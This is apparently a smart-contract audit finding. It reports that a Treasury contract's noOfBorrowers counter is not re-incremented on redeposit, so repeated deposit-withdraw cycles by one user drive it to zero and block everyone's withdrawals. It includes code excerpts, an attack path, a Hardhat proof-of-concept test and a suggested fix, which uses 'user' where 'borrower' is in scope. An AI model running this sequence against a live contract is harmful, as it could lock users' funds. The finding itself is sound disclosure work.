051.md

Low Tangerine Cod

High

borrowers will not be able to withdraw their funds due to noOfBorrowers underflow in Treasury

Summary

noOfBorrowers is not being incremented inside treasury when borrower redeposit.

Root Cause

Whenever borrower deposit for the first time there is an increment of noOfBorrowers in treasury. Lets remember condition !borrowing[user].hasDeposited

    function deposit(
        address user,
        uint128 ethPrice,
        uint64 depositTime,
        IBorrowing.AssetName assetName,
        uint256 depositingAmount
    ) external payable onlyCoreContracts returns (DepositResult memory) {
        uint64 borrowerIndex;
        //check if borrower is depositing for the first time or not
        if (!borrowing[user].hasDeposited) {
            //change borrowerindex to 1
            borrowerIndex = borrowing[user].borrowerIndex = 1;

            //change hasDeposited bool to true after first deposit
            borrowing[user].hasDeposited = true;
->            ++noOfBorrowers;
        } else {

Core_logic/Treasury.sol#L169

Later when borrower decides to withdraw, the only condition is that deposited amount is 0

    function withdraw(
        address borrower,
        address toAddress,
        uint256 amount,
        uint128 exchangeRate,
        uint64 index
    ) external payable onlyCoreContracts returns (bool) {
..
        if (borrowing[borrower].depositedAmountInETH == 0) {
            --noOfBorrowers;
        }
...

contracts/Core_logic/Treasury.sol#L270

This means that whenver any user decided to redeposit noOfBorrowers will not be incremented, but when he decides to withdraw -noOfBorrowers will be decreased. E.x. there is total 5 user with 5 deposits - noOfBorrowers=5. Later 1 user decide to deposit/redosit 5 times -> noOfBorrowers becomes 0 and no borrower will be able to withdraw their deposit.

There are some other issues like calculateCumulativeRate does depends on noOfBorrowers being calculated properly in treasury as well

Internal pre-conditions

none

External pre-conditions

none

Attack Path

user deposit-withdraw-deposit again-withdraw again-deposit again

Impact

1. Borrowers will not be able to withdraw their deposits, funds will be stuck.
2. incorrect calculateCumulativeRate

PoC

        it.only("Should withdraw ETH (between 0.8 and 1)",async function(){
            const {BorrowingContractA,TokenA,globalVariablesA,usdtA,CDSContractA} = await loadFixture(deployer);
            const timeStamp = await time.latest();
            await usdtA.connect(user1).mint(user1.getAddress(),10000000000)
            await usdtA.connect(user1).approve(CDSContractA.getAddress(),10000000000);

            const options = Options.newOptions().addExecutorLzReceiveOption(400000, 0).toHex().toString()
            let nativeFee = 0
            ;[nativeFee] = await globalVariablesA.quote(1,0, options, false)
            await CDSContractA.connect(user1).deposit(10000000000,0,true,10000000000,100000, { value: nativeFee.toString()});

            const depositAmount = ethers.parseEther("1");

            await BorrowingContractA.connect(user1).depositTokens(
                100000,
                timeStamp,
                [2,
                110000,
                ethVolatility,1,
                depositAmount],
                {value: (depositAmount +  BigInt(nativeFee))})
            
            await BorrowingContractA.calculateCumulativeRate();
            await TokenA.mint(user1.getAddress(),80000000);
            await TokenA.connect(user1).approve(await BorrowingContractA.getAddress(),await TokenA.balanceOf(user1.getAddress()));
            const {odosData, odosSignData} = await calculateUpsideToSwap(
                (await treasuryA.getBorrowing(await user1.getAddress(), 1))[1],
                99900,
                1e18,
                ZeroAddress,
                await treasuryA.getAddress(),
                await BorrowingContractA.getAddress()
            )
            const result = await globalVariablesA.getOmniChainData();
            // console.log(result);

            await BorrowingContractA.connect(user1).withDraw(
                await user1.getAddress(), 
                1,
                odosData,
                odosSignData,
                99900,
                timeStamp,
                {value: nativeFee});
            const tx = await treasuryA.getBorrowing(
                    await user1.getAddress(), 1)
            await expect(tx[1].withdrawed).to.be.equal(true);
            const result2 = await globalVariablesA.getOmniChainData();

            await BorrowingContractA.connect(user1).depositTokens(
                100000,
                timeStamp,
                [2,
                    110000,
                    ethVolatility,1,
                    depositAmount],
                {value: (depositAmount +  BigInt(nativeFee))})

            expect(await treasuryA.noOfBorrowers()).to.be.equal(0) //0 noOfBorrowers
            // expect(result2[17]).to.be.equal(0)
            // console.log(result2);
        })

Mitigation

implement like this? or change deposit logic in treasury

        if (borrowing[borrower].depositedAmountInETH == 0) {
+            borrowing[user].hasDeposited = false
            --noOfBorrowers;
        }